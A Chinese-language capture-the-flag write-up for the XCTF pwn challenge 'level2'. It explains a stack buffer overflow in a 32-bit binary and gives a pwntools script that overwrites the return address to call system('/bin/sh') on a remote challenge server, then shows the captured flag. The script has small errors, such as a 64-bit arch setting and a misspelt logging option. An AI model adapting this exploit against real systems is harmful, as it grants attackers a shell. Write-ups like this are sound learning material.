Bootstrap

xctf pwn level2

前言:只能说是看着WP侥幸做出来了,里面很多不懂的地方.

1 分析

首先下载把环境附件整下来

在linux下打开,checksec

32位的,拖进ida

 进去后汇编界面根本看不懂,F5查看伪代码

 

 用linux运行也是这样

 发现有一个vulnerable_function()函数,点进去看一下

 

我们可以看出来 栈顶和栈底相差0x88个字节,但是read()却是0x100个字节

 r,s分别是返回地址和栈底。

既然这样,我们可以利用栈溢出来getshell。

2 构造栈溢出

 1 我们先是找到/bin/sh 和 system的地址

 

 2 构造栈溢出代码

from pwn import *
context(os="linux",arch="amd64",log_lv2="debug")
hyang = 1
elf = ELF("lv2")

def main():
    if hyang == 1:
        io = remote("111.200.241.244",62999)
    else:
        io = process("lv2")
    
    sys_adr = elf.symbols["system"]
    shell_adr = elf.search("/bin/sh").next()
    callsys_adr = 0x0804a024
    
    payload = 'a' * (0x88 + 4) + p32(sys_adr) + p32(0) + p32(shell_adr)
    payload2 = 'a' * (0x88 + 4) + p32(callsys_adr) + p32(shell_adr)
    
    io.recvline()
    io.sendline(payload)
    io.interactive()

main()

 3 远程连接

 flag:cyberpeace{b25ce94b7c0eae8e0163f4a9456a5b71}

;